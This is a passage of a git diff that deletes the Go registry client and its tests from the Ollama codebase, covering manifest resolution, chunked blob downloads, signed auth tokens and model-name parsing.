blob.PutBytes(c, md, m.Data); err != nil { - return err - } - return c.Link(m.Name, md) -} - -// Unlink is like [blob.DiskCache.Unlink], but makes name fully qualified -// before attempting to unlink the model. -func (r *Registry) Unlink(name string) (ok bool, _ error) { - n, err := r.parseName(name) - if err != nil { - return false, err - } - c, err := r.cache() - if err != nil { - return false, err - } - return c.Unlink(n.String()) -} - -// Manifest represents a [ollama.com/manifest]. -type Manifest struct { - Name string `json:"-"` // the canonical name of the model - Data []byte `json:"-"` // the raw data of the manifest - Layers []*Layer `json:"layers"` - - // For legacy reasons, we still have to download the config layer. - Config *Layer `json:"config"` -} - -// Layer returns the layer with the given -// digest, or nil if not found. -func (m *Manifest) Layer(d blob.Digest) *Layer { - for _, l := range m.Layers { - if l.Digest == d { - return l - } - } - return nil -} - -func (m *Manifest) All() iter.Seq[*Layer] { - return func(yield func(*Layer) bool) { - if !yield(m.Config) { - return - } - for _, l := range m.Layers { - if !yield(l) { - return - } - } - } -} - -func (m *Manifest) Size() int64 { - var size int64 - if m.Config != nil { - size += m.Config.Size - } - for _, l := range m.Layers { - size += l.Size - } - return size -} - -// MarshalJSON implements json.Marshaler. -// -// NOTE: It adds an empty config object to the manifest, which is required by -// the registry, but not used by the client. In the future, the config object -// will not be required by the registry and this will should be removed. -func (m Manifest) MarshalJSON() ([]byte, error) { - type M Manifest - v := struct { - M - - // This is ignored, mostly, by the registry But, if not - // present, it will cause an error to be returned during the - // last phase of the commit which expects it, but does nothing - // with it. This will be fixed in a future release of - // ollama.com. - Config Layer `json:"config"` - }{ - M: M(m), - } - return json.Marshal(v) -} - -// unmarshalManifest unmarshals the data into a manifest, and sets the name -// field to the string representation of the name. -// -// It panics if the name is not fully qualified. Callers should ensure the name -// is fully qualified before calling this function. -func unmarshalManifest(n names.Name, data []byte) (*Manifest, error) { - if !n.IsFullyQualified() { - panic(fmt.Sprintf("unmarshalManifest: name is not fully qualified: %s", n.String())) - } - var m Manifest - if err := json.Unmarshal(data, &m); err != nil { - return nil, err - } - m.Name = n.String() - m.Data = data - return &m, nil -} - -// Layer is a layer in a model. -type Layer struct { - Digest blob.Digest `json:"digest"` - MediaType string `json:"mediaType"` - Size int64 `json:"size"` -} - -// ResolveLocal resolves a name to a Manifest in the local cache. -func (r *Registry) ResolveLocal(name string) (*Manifest, error) { - _, n, d, err := r.parseNameExtended(name) - if err != nil { - return nil, err - } - c, err := r.cache() - if err != nil { - return nil, err - } - if !d.IsValid() { - // No digest, so resolve the manifest by name. - d, err = c.Resolve(n.String()) - if err != nil { - return nil, err - } - } - data, err := os.ReadFile(c.GetFile(d)) - if err != nil { - if errors.Is(err, fs.ErrNotExist) { - return nil, fmt.Errorf("%w: %s", ErrModelNotFound, name) - } - return nil, err - } - m, err := unmarshalManifest(n, data) - if err != nil { - return nil, fmt.Errorf("%s: %w", name, errors.Join(ErrManifestInvalid, err)) - } - return m, nil -} - -// Resolve resolves a name to a Manifest in the remote registry. -func (r *Registry) Resolve(ctx context.Context, name string) (*Manifest, error) { - scheme, n, d, err := r.parseNameExtended(name) - if err != nil { - return nil, err - } - - manifestURL := fmt.Sprintf("%s://%s/v2/%s/%s/manifests/%s", scheme, n.Host(), n.Namespace(), n.Model(), n.Tag()) - if d.IsValid() { - manifestURL = fmt.Sprintf("%s://%s/v2/%s/%s/blobs/%s", scheme, n.Host(), n.Namespace(), n.Model(), d) - } - - res, err := r.send(ctx, "GET", manifestURL, nil) - if err != nil { - return nil, err - } - defer res.Body.Close() - data, err := io.ReadAll(res.Body) - if err != nil { - return nil, err - } - // TODO(bmizerany): return digest here - m, err := unmarshalManifest(n, data) - if err != nil { - return nil, fmt.Errorf("%s: %w", name, errors.Join(ErrManifestInvalid, err)) - } - return m, nil -} - -type chunksum struct { - URL string - Chunk blob.Chunk - Digest blob.Digest -} - -// chunksums returns a sequence of chunksums for the given layer. If the layer is under the -// chunking threshold, a single chunksum is returned that covers the entire layer. If the layer -// is over the chunking threshold, the chunksums are read from the chunksums endpoint. -func (r *Registry) chunksums(ctx context.Context, name string, l *Layer) iter.Seq2[chunksum, error] { - return func(yield func(chunksum, error) bool) { - scheme, n, _, err := r.parseNameExtended(name) - if err != nil { - yield(chunksum{}, err) - return - } - - if l.Size < r.maxChunkingThreshold() { - // any layer under the threshold should be downloaded - // in one go. - cs := chunksum{ - URL: fmt.Sprintf("%s://%s/v2/%s/%s/blobs/%s", - scheme, - n.Host(), - n.Namespace(), - n.Model(), - l.Digest, - ), - Chunk: blob.Chunk{Start: 0, End: l.Size - 1}, - Digest: l.Digest, - } - yield(cs, nil) - return - } - - // The response is a sequence of chunksums. - // - // Chunksums are chunks of a larger blob that can be - // downloaded and verified independently. - // - // The chunksums endpoint is a GET request that returns a - // sequence of chunksums in the following format: - // - // > GET /v2///chunksums/ - // - // < HTTP/1.1 200 OK - // < Content-Location: - // < - // < - - // < ... - // - // The is the URL to download the chunks from and - // each is the digest of the chunk, and - - // is the range the chunk in the blob. - // - // Ranges may be used directly in Range headers like - // "bytes=-". - // - // The chunksums returned are guaranteed to be contiguous and - // include all bytes of the layer. If the stream is cut short, - // clients should retry. - - chunksumsURL := fmt.Sprintf("%s://%s/v2/%s/%s/chunksums/%s", - scheme, - n.Host(), - n.Namespace(), - n.Model(), - l.Digest, - ) - - req, err := r.newRequest(ctx, "GET", chunksumsURL, nil) - if err != nil { - yield(chunksum{}, err) - return - } - res, err := sendRequest(r.client(), req) - if err != nil { - yield(chunksum{}, err) - return - } - defer res.Body.Close() - if res.StatusCode != 200 { - err := fmt.Errorf("chunksums: unexpected status code %d", res.StatusCode) - yield(chunksum{}, err) - return - } - blobURL := res.Header.Get("Content-Location") - - s := bufio.NewScanner(res.Body) - s.Split(bufio.ScanWords) - for { - if !s.Scan() { - if s.Err() != nil { - yield(chunksum{}, s.Err()) - } - return - } - d, err := blob.ParseDigest(s.Bytes()) - if err != nil { - yield(chunksum{}, fmt.Errorf("invalid digest: %q", s.Bytes())) - return - } - - if !s.Scan() { - err := s.Err() - if err == nil { - err = fmt.Errorf("missing chunk range for digest %s", d) - } - yield(chunksum{}, err) - return - } - chunk, err := parseChunk(s.Bytes()) - if err != nil { - yield(chunksum{}, fmt.Errorf("invalid chunk range for digest %s: %q", d, s.Bytes())) - return - } - - cs := chunksum{ - URL: blobURL, - Chunk: chunk, - Digest: d, - } - if !yield(cs, nil) { - return - } - } - } -} - -func (r *Registry) client() *http.Client { - if r.HTTPClient != nil { - return r.HTTPClient - } - return http.DefaultClient -} - -// newRequest constructs a new request, ready to use, with the given method, -// url, and body, pre-signed with client [Key] and [UserAgent]. -func (r *Registry) newRequest(ctx context.Context, method, url string, body io.Reader) (*http.Request, error) { - req, err := http.NewRequestWithContext(ctx, method, url, body) - if err != nil { - return nil, err - } - if r.UserAgent != "" { - req.Header.Set("User-Agent", r.UserAgent) - } - if r.Key != nil { - token, err := makeAuthToken(r.Key) - if err != nil { - return nil, err - } - req.Header.Set("Authorization", "Bearer "+token) - } - return req, nil -} - -// sendRequest makes a request with the given client and request, and returns the -// response if the status code is 200. If the status code is not 200, an Error -// is parsed from the response body and returned. If any other error occurs, it -// is returned. -func sendRequest(c *http.Client, r *http.Request) (_ *http.Response, err error) { - if r.URL.Scheme == "https+insecure" { - // TODO(bmizerany): clone client.Transport, set - // InsecureSkipVerify, etc. - - type cloner interface { - Clone() *http.Transport - } - - // Attempt to configure the transport to skip TLS verification - // if we can clone it, otherwise fall through and let the http - // client complain and the scheme being invalid. - x, ok := cmp.Or(c.Transport, http.DefaultTransport).(cloner) - if ok { - tr := x.Clone() - tr.TLSClientConfig = cmp.Or(tr.TLSClientConfig, &tls.Config{}) - tr.TLSClientConfig.InsecureSkipVerify = true - - cc := *c // shallow copy - cc.Transport = tr - c = &cc - - r = r.Clone(r.Context()) - r.URL.Scheme = "https" - - // fall through - } - } - - res, err := c.Do(r) - if err != nil { - return nil, err - } - if res.StatusCode/100 != 2 { - out, err := io.ReadAll(res.Body) - if err != nil { - return nil, err - } - var re Error - if err := json.Unmarshal(out, &re); err != nil { - // Use the raw body if we can't parse it as an error object. - re.Message = string(out) - } - - // coerce MANIFEST_UNKNOWN to ErrManifestNotFound - if strings.EqualFold(re.Code, "MANIFEST_UNKNOWN") { - return nil, ErrModelNotFound - } - - re.status = res.StatusCode - return nil, &re - } - return res, nil -} - -// send is a convenience method for making a request with newRequest and -// passing it to send with r.client(). -func (r *Registry) send(ctx context.Context, method, path string, body io.Reader) (*http.Response, error) { - req, err := r.newRequest(ctx, method, path, body) - if err != nil { - return nil, err - } - return sendRequest(r.client(), req) -} - -// makeAuthToken creates an Ollama auth token for the given private key. -// -// NOTE: This format is OLD, overly complex, and should be replaced. We're -// inheriting it from the original Ollama client and ollama.com -// implementations, so we need to support it for now. -func makeAuthToken(key crypto.PrivateKey) (string, error) { - privKey, _ := key.(*ed25519.PrivateKey) - if privKey == nil { - return "", fmt.Errorf("unsupported private key type: %T", key) - } - - url := fmt.Sprintf("https://ollama.com?ts=%d", time.Now().Unix()) - // Part 1: the checkData (e.g. the URL with a timestamp) - - // Part 2: the public key - pubKeyShort, err := func() ([]byte, error) { - sshPubKey, err := ssh.NewPublicKey(privKey.Public()) - if err != nil { - return nil, err - } - pubKeyParts := bytes.Fields(ssh.MarshalAuthorizedKey(sshPubKey)) - if len(pubKeyParts) < 2 { - return nil, fmt.Errorf("malformed public key: %q", pubKeyParts) - } - pubKeyShort := pubKeyParts[1] - return pubKeyShort, nil - }() - if err != nil { - return "", err - } - - // Part 3: the signature - sig := ed25519.Sign(*privKey, []byte(checkData(url))) - - // Assemble the token: :: - var b strings.Builder - io.WriteString(&b, base64.StdEncoding.EncodeToString([]byte(url))) - b.WriteByte(':') - b.Write(pubKeyShort) - b.WriteByte(':') - io.WriteString(&b, base64.StdEncoding.EncodeToString(sig)) - - return b.String(), nil -} - -// The original spec for Ollama tokens was to use the SHA256 of the zero -// string as part of the signature. I'm not sure why that was, but we still -// need it to verify the signature. -var zeroSum = func() string { - sha256sum := sha256.Sum256(nil) - x := base64.StdEncoding.EncodeToString([]byte(hex.EncodeToString(sha256sum[:]))) - return x -}() - -// checkData takes a URL and creates the original string format of the -// data signature that is used by the ollama client to sign requests -func checkData(url string) string { - return fmt.Sprintf("GET,%s,%s", url, zeroSum) -} - -type publicError struct { - wrapped error - message string -} - -func withPublicMessagef(err error, message string, args ...any) error { - return publicError{wrapped: err, message: fmt.Sprintf(message, args...)} -} - -func (e publicError) Error() string { return e.message } -func (e publicError) Unwrap() error { return e.wrapped } - -var supportedSchemes = []string{ - "http", - "https", - "https+insecure", -} - -var supportedSchemesMessage = fmt.Sprintf("supported schemes are %v", strings.Join(supportedSchemes, ", ")) - -// parseNameExtended parses and validates an extended name, returning the scheme, name, -// and digest. -// -// If the scheme is empty, scheme will be "https". If an unsupported scheme is -// given, [ErrNameInvalid] wrapped with a display friendly message is returned. -// -// If the digest is invalid, [ErrNameInvalid] wrapped with a display friendly -// message is returned. -// -// If the name is not, once merged with the mask, fully qualified, -// [ErrNameInvalid] wrapped with a display friendly message is returned. -func (r *Registry) parseNameExtended(s string) (scheme string, _ names.Name, _ blob.Digest, _ error) { - scheme, name, digest := splitExtended(s) - scheme = cmp.Or(scheme, "https") - if !slices.Contains(supportedSchemes, scheme) { - err := withPublicMessagef(ErrNameInvalid, "unsupported scheme: %q: %s", scheme, supportedSchemesMessage) - return "", names.Name{}, blob.Digest{}, err - } - - var d blob.Digest - if digest != "" { - var err error - d, err = blob.ParseDigest(digest) - if err != nil { - err = withPublicMessagef(ErrNameInvalid, "invalid digest: %q", digest) - return "", names.Name{}, blob.Digest{}, err - } - if name == "" { - // We have can resolve a manifest from a digest only, - // so skip name validation and return the scheme and - // digest. - return scheme, names.Name{}, d, nil - } - } - - n, err := r.parseName(name) - if err != nil { - return "", names.Name{}, blob.Digest{}, err - } - return scheme, n, d, nil -} - -// splitExtended splits an extended name string into its scheme, name, and digest -// parts. -// -// Examples: -// -// http://ollama.com/bmizerany/smol:latest@digest -// https://ollama.com/bmizerany/smol:latest -// ollama.com/bmizerany/smol:latest@digest // returns "https" scheme. -// model@digest -// @digest -func splitExtended(s string) (scheme, name, digest string) { - i := strings.Index(s, "://") - if i >= 0 { - scheme = s[:i] - s = s[i+3:] - } - i = strings.LastIndex(s, "@") - if i >= 0 { - digest = s[i+1:] - s = s[:i] - } - return scheme, s, digest -} - -// parseChunk parses a string in the form "start-end" and returns the Chunk. -func parseChunk[S ~string | ~[]byte](s S) (blob.Chunk, error) { - startPart, endPart, found := strings.Cut(string(s), "-") - if !found { - return blob.Chunk{}, fmt.Errorf("chunks: invalid range %q: missing '-'", s) - } - start, err := strconv.ParseInt(startPart, 10, 64) - if err != nil { - return blob.Chunk{}, fmt.Errorf("chunks: invalid start to %q: %v", s, err) - } - end, err := strconv.ParseInt(endPart, 10, 64) - if err != nil { - return blob.Chunk{}, fmt.Errorf("chunks: invalid end to %q: %v", s, err) - } - if start > end { - return blob.Chunk{}, fmt.Errorf("chunks: invalid range %q: start > end", s) - } - return blob.Chunk{Start: start, End: end}, nil -} diff --git a/server/internal/client/ollama/registry_synctest_test.go b/server/internal/client/ollama/registry_synctest_test.go deleted file mode 100644 index 2b4543375..000000000 --- a/server/internal/client/ollama/registry_synctest_test.go +++ /dev/null @@ -1,51 +0,0 @@ -// TODO: go:build goexperiment.synctest - -package ollama - -import ( - "context" - "errors" - "io" - "net/http" - "strings" - "testing" - "time" -) - -func TestPullDownloadTimeout(t *testing.T) { - rc, ctx := newRegistryClient(t, func(w http.ResponseWriter, r *http.Request) { - defer t.Log("upstream", r.Method, r.URL.Path) - switch { - case strings.HasPrefix(r.URL.Path, "/v2/library/smol/manifests/"): - io.WriteString(w, `{ - "layers": [{"digest": "sha256:1111111111111111111111111111111111111111111111111111111111111111", "size": 3}] - }`) - case strings.HasPrefix(r.URL.Path, "/v2/library/smol/blobs/sha256:1111111111111111111111111111111111111111111111111111111111111111"): - // Get headers out to client and then hang on the response - w.WriteHeader(200) - w.(http.Flusher).Flush() - - // Hang on the response and unblock when the client - // gives up - <-r.Context().Done() - default: - t.Fatalf("unexpected request: %s", r.URL.Path) - } - }) - rc.ReadTimeout = 100 * time.Millisecond - - done := make(chan error, 1) - go func() { - done <- rc.Pull(ctx, "http://example.com/library/smol") - }() - - select { - case err := <-done: - want := context.DeadlineExceeded - if !errors.Is(err, want) { - t.Errorf("err = %v, want %v", err, want) - } - case <-time.After(3 * time.Second): - t.Error("timeout waiting for Pull to finish") - } -} diff --git a/server/internal/client/ollama/registry_test.go b/server/internal/client/ollama/registry_test.go deleted file mode 100644 index c0bd2863b..000000000 --- a/server/internal/client/ollama/registry_test.go +++ /dev/null @@ -1,953 +0,0 @@ -package ollama - -import ( - "bytes" - "cmp" - "context" - "encoding/json" - "errors" - "fmt" - "io" - "io/fs" - "net" - "net/http" - "net/http/httptest" - "os" - "reflect" - "strings" - "sync/atomic" - "testing" - - "github.com/ollama/ollama/server/internal/cache/blob" - "github.com/ollama/ollama/server/internal/testutil" -) - -func ExampleRegistry_cancelOnFirstError() { - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() - - ctx = WithTrace(ctx, &Trace{ - Update: func(l *Layer, n int64, err error) { - if err != nil { - // Discontinue pulling layers if there is an - // error instead of continuing to pull more - // data. - cancel() - } - }, - }) - - var r Registry - if err := r.Pull(ctx, "model"); err != nil { - // panic for demo purposes - panic(err) - } -} - -func TestManifestMarshalJSON(t *testing.T) { - // All manifests should contain an "empty" config object. - var m Manifest - data, err := json.Marshal(m) - if err != nil { - t.Fatal(err) - } - if !bytes.Contains(data, []byte(`"config":{"digest":"sha256:`)) { - t.Error("expected manifest to contain empty config") - t.Fatalf("got:\n%s", string(data)) - } -} - -var errRoundTrip = errors.New("forced roundtrip error") - -type recordRoundTripper http.HandlerFunc - -func (rr recordRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) { - w := httptest.NewRecorder() - rr(w, req) - if w.Code == 499 { - return nil, errRoundTrip - } - resp := w.Result() - // For some reason, Response.Request is not set by httptest.NewRecorder, so we - // set it manually. - resp.Request = req - return w.Result(), nil -} - -// newClient constructs a cache with predefined manifests for testing. The manifests are: -// -// empty: no data -// zero: no layers -// single: one layer with the contents "exists" -// multiple: two layers with the contents "exists" and "here" -// notfound: a layer that does not exist in the cache -// null: one null layer (e.g. [null]) -// sizemismatch: one valid layer, and one with a size mismatch (file size is less than the reported size) -// invalid: a layer with invalid JSON data -// -// Tests that want to ensure the client does not communicate with the upstream -// registry should pass a nil handler, which will cause a panic if -// communication is attempted. -// -// To simulate a network error, pass a handler that returns a 499 status code. -func newClient(t *testing.T, upstreamRegistry http.HandlerFunc) (*Registry, *blob.DiskCache) { - t.Helper() - - c, err := blob.Open(t.TempDir()) - if err != nil { - t.Fatal(err) - } - - mklayer := func(data string) *Layer { - return &Layer{ - Digest: importBytes(t, c, data), - Size: int64(len(data)), - } - } - - r := &Registry{ - Cache: c, - HTTPClient: &http.Client{ - Transport: recordRoundTripper(upstreamRegistry), - }, - } - - link := func(name string, manifest string) { - n, err := r.parseName(name) - if err != nil { - panic(err) - } - d, err := c.Import(bytes.NewReader([]byte(manifest)), int64(len(manifest))) - if err != nil { - panic(err) - } - if err := c.Link(n.String(), d); err != nil { - panic(err) - } - } - - commit := func(name string, layers ...*Layer) { - t.Helper() - data, err := json.Marshal(&Manifest{Layers: layers}) - if err != nil { - t.Fatal(err) - } - link(name, string(data)) - } - - link("empty", "") - commit("zero") - commit("single", mklayer("exists")) - commit("multiple", mklayer("exists"), mklayer("present")) - commit("notfound", &Layer{Digest: blob.DigestFromBytes("notfound"), Size: int64(len("notfound"))}) - commit("null", nil) - commit("sizemismatch", mklayer("exists"), &Layer{Digest: blob.DigestFromBytes("present"), Size: 499}) - link("invalid", "!!!!!") - - return r, c -} - -func okHandler(w http.ResponseWriter, r *http.Request) { - w.WriteHeader(http.StatusOK) -} - -func checkErrCode(t *testing.T, err error, status int, code string) { - t.Helper() - var e *Error - if !errors.As(err, &e) || e.status != status || e.Code != code { - t.Errorf("err = %v; want %v %v", err, status, code) - } -} - -func importBytes(t *testing.T, c *blob.DiskCache, data string) blob.Digest { - d, err := c.Import(strings.NewReader(data), int64(len(data))) - if err != nil { - t.Fatal(err) - } - return d -} - -func withTraceUnexpected(ctx context.Context) (context.Context, *Trace) { - t := &Trace{Update: func(*Layer, int64, error) { panic("unexpected") }} - return WithTrace(ctx, t), t -} - -func TestPushZero(t *testing.T) { - rc, _ := newClient(t, okHandler) - err := rc.Push(t.Context(), "empty", nil) - if !errors.Is(err, ErrManifestInvalid) { - t.Errorf("err = %v; want %v", err, ErrManifestInvalid) - } -} - -func TestPushSingle(t *testing.T) { - rc, _ := newClient(t, okHandler) - err := rc.Push(t.Context(), "single", nil) - testutil.Check(t, err) -} - -func TestPushMultiple(t *testing.T) { - rc, _ := newClient(t, okHandler) - err := rc.Push(t.Context(), "multiple", nil) - testutil.Check(t, err) -} - -func TestPushNotFound(t *testing.T) { - rc, _ := newClient(t, func(w http.ResponseWriter, r *http.Request) { - t.Errorf("unexpected request: %v", r) - }) - err := rc.Push(t.Context(), "notfound", nil) - if !errors.Is(err, fs.ErrNotExist) { - t.Errorf("err = %v; want %v", err, fs.ErrNotExist) - } -} - -func TestPushNullLayer(t *testing.T) { - rc, _ := newClient(t, nil) - err := rc.Push(t.Context(), "null", nil) - if err == nil || !strings.Contains(err.Error(), "invalid manifest") { - t.Errorf("err = %v; want invalid manifest", err) - } -} - -func TestPushSizeMismatch(t *testing.T) { - rc, _ := newClient(t, nil) - ctx, _ := withTraceUnexpected(t.Context()) - got := rc.Push(ctx, "sizemismatch", nil) - if got == nil || !strings.Contains(got.Error(), "size mismatch") { - t.Errorf("err = %v; want size mismatch", got) - } -} - -func TestPushInvalid(t *testing.T) { - rc, _ := newClient(t, nil) - err := rc.Push(t.Context(), "invalid", nil) - if err == nil || !strings.Contains(err.Error(), "invalid manifest") { - t.Errorf("err = %v; want invalid manifest", err) - } -} - -func TestPushExistsAtRemote(t *testing.T) { - var pushed bool - rc, _ := newClient(t, func(w http.ResponseWriter, r *http.Request) { - if strings.Contains(r.URL.Path, "/uploads/") { - if !pushed { - // First push. Return an uploadURL. - pushed = true - w.Header().Set("Location", "http://blob.store/blobs/123") - return - } - w.WriteHeader(http.StatusAccepted) - return - } - - io.Copy(io.Discard, r.Body) - w.WriteHeader(http.StatusOK) - }) - - rc.MaxStreams = 1 // prevent concurrent uploads - - var errs []error - ctx := WithTrace(t.Context(), &Trace{ - Update: func(_ *Layer, n int64, err error) { - // uploading one at a time so no need to lock - errs = append(errs, err) - }, - }) - - check := testutil.Checker(t) - - err := rc.Push(ctx, "single", nil) - check(err) - - if !errors.Is(errors.Join(errs...), nil) { - t.Errorf("errs = %v; want %v", errs, []error{ErrCached}) - } - - err = rc.Push(ctx, "single", nil) - check(err) -} - -func TestPushRemoteError(t *testing.T) { - rc, _ := newClient(t, func(w http.ResponseWriter, r *http.Request) { - if strings.Contains(r.URL.Path, "/blobs/") { - w.WriteHeader(500) - io.WriteString(w, `{"errors":[{"code":"blob_error"}]}`) - return - } - }) - got := rc.Push(t.Context(), "single", nil) - checkErrCode(t, got, 500, "blob_error") -} - -func TestPushLocationError(t *testing.T) { - rc, _ := newClient(t, func(w http.ResponseWriter, r *http.Request) { - w.Header().Set("Location", ":///x") - w.WriteHeader(http.StatusAccepted) - }) - got := rc.Push(t.Context(), "single", nil) - wantContains := "invalid upload URL" - if got == nil || !strings.Contains(got.Error(), wantContains) { - t.Errorf("err = %v; want to contain %v", got, wantContains) - } -} - -func TestPushUploadRoundtripError(t *testing.T) { - rc, _ := newClient(t, func(w http.ResponseWriter, r *http.Request) { - if r.Host == "blob.store" { - w.WriteHeader(499) // force RoundTrip error on upload - return - } - w.Header().Set("Location", "http://blob.store/blobs/123") - }) - got := rc.Push(t.Context(), "single", nil) - if !errors.Is(got, errRoundTrip) { - t.Errorf("got = %v; want %v", got, errRoundTrip) - } -} - -func TestPushUploadFileOpenError(t *testing.T) { - rc, c := newClient(t, okHandler) - ctx := WithTrace(t.Context(), &Trace{ - Update: func(l *Layer, _ int64, err error) { - // Remove the file just before it is opened for upload, - // but after the initial Stat that happens before the - // upload starts - os.Remove(c.GetFile(l.Digest)) - }, - }) - got := rc.Push(ctx, "single", nil) - if !errors.Is(got, fs.ErrNotExist) { - t.Errorf("got = %v; want fs.ErrNotExist", got) - } -} - -func TestPushCommitRoundtripError(t *testing.T) { - rc, _ := newClient(t, func(w http.ResponseWriter, r *http.Request) { - if strings.Contains(r.URL.Path, "/blobs/") { - panic("unexpected") - } - w.WriteHeader(499) // force RoundTrip error - }) - err := rc.Push(t.Context(), "zero", nil) - if !errors.Is(err, errRoundTrip) { - t.Errorf("err = %v; want %v", err, errRoundTrip) - } -} - -func TestRegistryPullInvalidName(t *testing.T) { - rc, _ := newRegistryClient(t, nil) - err := rc.Pull(t.Context(), "://") - if !errors.Is(err, ErrNameInvalid) { - t.Errorf("err = %v; want %v", err, ErrNameInvalid) - } -} - -func TestRegistryPullInvalidManifest(t *testing.T) { - cases := []string{ - "", - "null", - "!!!", - `{"layers":[]}`, - } - - for _, resp := range cases { - rc, _ := newRegistryClient(t, func(w http.ResponseWriter, r *http.Request) { - io.WriteString(w, resp) - }) - err := rc.Pull(t.Context(), "http://example.com/a/b") - if !errors.Is(err, ErrManifestInvalid) { - t.Errorf("err = %v; want invalid manifest", err) - } - } -} - -func TestRegistryResolveByDigest(t *testing.T) { - check := testutil.Checker(t) - - exists := blob.DigestFromBytes("exists") - rc, _ := newClient(t, func(w http.ResponseWriter, r *http.Request) { - if r.URL.Path != "/v2/alice/palace/blobs/"+exists.String() { - w.WriteHeader(499) // should not hit manifest endpoint - } - fmt.Fprintf(w, `{"layers":[{"digest":%q,"size":5}]}`, exists) - }) - - _, err := rc.Resolve(t.Context(), "alice/palace@"+exists.String()) - check(err) -} - -func TestInsecureSkipVerify(t *testing.T) { - exists := blob.DigestFromBytes("exists") - - s := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - fmt.Fprintf(w, `{"layers":[{"digest":%q,"size":5}]}`, exists) - })) - defer s.Close() - - const name = "library/insecure" - - var rc Registry - url := fmt.Sprintf("https://%s/%s", s.Listener.Addr(), name) - _, err := rc.Resolve(t.Context(), url) - if err == nil || !strings.Contains(err.Error(), "failed to verify") { - t.Errorf("err = %v; want cert verification failure", err) - } - - url = fmt.Sprintf("https+insecure://%s/%s", s.Listener.Addr(), name) - _, err = rc.Resolve(t.Context(), url) - testutil.Check(t, err) -} - -func TestErrorUnmarshal(t *testing.T) { - cases := []struct { - name string - data string - want *Error - wantErr bool - }{ - { - name: "errors empty", - data: `{"errors":[]}`, - wantErr: true, - }, - { - name: "errors empty", - data: `{"errors":[]}`, - wantErr: true, - }, - { - name: "errors single", - data: `{"errors":[{"code":"blob_unknown"}]}`, - want: &Error{Code: "blob_unknown", Message: ""}, - }, - { - name: "errors multiple", - data: `{"errors":[{"code":"blob_unknown"},{"code":"blob_error"}]}`, - want: &Error{Code: "blob_unknown", Message: ""}, - }, - { - name: "error empty", - data: `{"error":""}`, - wantErr: true, - }, - { - name: "error very empty", - data: `{}`, - wantErr: true, - }, - { - name: "error message", - data: `{"error":"message", "code":"code"}`, - want: &Error{Code: "code", Message: "message"}, - }, - { - name: "invalid value", - data: `{"error": 1}`, - wantErr: true, - }, - } - for _, tt := range cases { - t.Run(tt.name, func(t *testing.T) { - var got Error - err := json.Unmarshal([]byte(tt.data), &got) - if err != nil { - if tt.wantErr { - return - } - t.Errorf("Unmarshal() error = %v", err) - // fallthrough and check got - } - if tt.want == nil { - tt.want = &Error{} - } - if !reflect.DeepEqual(got, *tt.want) { - t.Errorf("got = %v; want %v", got, *tt.want) - } - }) - } -} - -// TestParseNameExtendedErrors tests that parseName returns errors messages with enough -// detail for users to debug naming issues they may encounter. Previous to this -// test, the error messages were not very helpful and each problem was reported -// as the same message. -// -// It is only for testing error messages, not that all invalids and valids are -// covered. Those are in other tests for names.Name and blob.Digest. -func TestParseNameExtendedErrors(t *testing.T) { - cases := []struct { - name string - err error - want string - }{} - - var r Registry - for _, tt := range cases { - _, _, _, err := r.parseNameExtended(tt.name) - if !errors.Is(err, tt.err) { - t.Errorf("[%s]: err = %v; want %v", tt.name, err, tt.err) - } - if err != nil && !strings.Contains(err.Error(), tt.want) { - t.Errorf("[%s]: err =\n\t%v\nwant\n\t%v", tt.name, err, tt.want) - } - } -} - -func TestParseNameExtended(t *testing.T) { - cases := []struct { - in string - scheme string - name string - digest string - err string - }{ - {in: "http://m", scheme: "http", name: "m"}, - {in: "https+insecure://m", scheme: "https+insecure", name: "m"}, - {in: "http+insecure://m", err: "unsupported scheme"}, - - {in: "http://m@sha256:1111111111111111111111111111111111111111111111111111111111111111", scheme: "http", name: "m", digest: "sha256:1111111111111111111111111111111111111111111111111111111111111111"}, - - {in: "", err: "invalid or missing name"}, - {in: "m", scheme: "https", name: "m"}, - {in: "://", err: "invalid or missing name"}, - {in: "@sha256:deadbeef", err: "invalid digest"}, - {in: "@sha256:deadbeef@sha256:deadbeef", err: "invalid digest"}, - } - for _, tt := range cases { - t.Run(tt.in, func(t *testing.T) { - var r Registry - scheme, n, digest, err := r.parseNameExtended(tt.in) - if err != nil { - if tt.err == "" { - t.Errorf("err = %v; want nil", err) - } else if !strings.Contains(err.Error(), tt.err) { - t.Errorf("err = %v; want %q", err, tt.err) - } - } else if tt.err != "" { - t.Errorf("err = nil; want %q", tt.err) - } - if err == nil && !n.IsFullyQualified() { - t.Errorf("name = %q; want fully qualified", n) - } - - if scheme != tt.scheme { - t.Errorf("scheme = %q; want %q", scheme, tt.scheme) - } - - // smoke-test name is superset of tt.name - if !strings.Contains(n.String(), tt.name) { - t.Errorf("name = %q; want %q", n, tt.name) - } - - tt.digest = cmp.Or(tt.digest, (&blob.Digest{}).String()) - if digest.String() != tt.digest { - t.Errorf("digest = %q; want %q", digest, tt.digest) - } - }) - } -} - -func TestUnlink(t *testing.T) { - t.Run("found by name", func(t *testing.T) { - check := testutil.Checker(t) - - rc, _ := newRegistryClient(t, nil) - // make a blob and link it - d := blob.DigestFromBytes("{}") - err := blob.PutBytes(rc.Cache, d, "{}") - check(err) - err = rc.Cache.Link("registry.ollama.ai/library/single:latest", d) - check(err) - - // confirm linked - _, err = rc.ResolveLocal("single") - check(err) - - // unlink - _, err = rc.Unlink("single") - check(err) - - // confirm unlinked - _, err = rc.ResolveLocal("single") - if !errors.Is(err, fs.ErrNotExist) { - t.Errorf("err = %v; want fs.ErrNotExist", err) - } - }) - t.Run("not found by name", func(t *testing.T) { - rc, _ := newRegistryClient(t, nil) - ok, err := rc.Unlink("manifestNotFound") - if err != nil { - t.Fatal(err) - } - if ok { - t.Error("expected not found") - } - }) -} - -// Many tests from here out, in this file are based on a single blob, "abc", -// with the checksum of its sha256 hash. The checksum is: -// -// "abc" -> sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad -// -// Using the literal value instead of a constant with fmt.Xprintf calls proved -// to be the most readable and maintainable approach. The sum is consistently -// used in the tests and unique so searches do not yield false positives. - -func checkRequest(t *testing.T, req *http.Request, method, path string) { - t.Helper() - if got := req.URL.Path; got != path { - t.Errorf("URL = %q, want %q", got, path) - } - if req.Method != method { - t.Errorf("Method = %q, want %q", req.Method, method) - } -} - -func newRegistryClient(t *testing.T, upstream http.HandlerFunc) (*Registry, context.Context) { - s := httptest.NewServer(upstream) - t.Cleanup(s.Close) - cache, err := blob.Open(t.TempDir()) - if err != nil { - 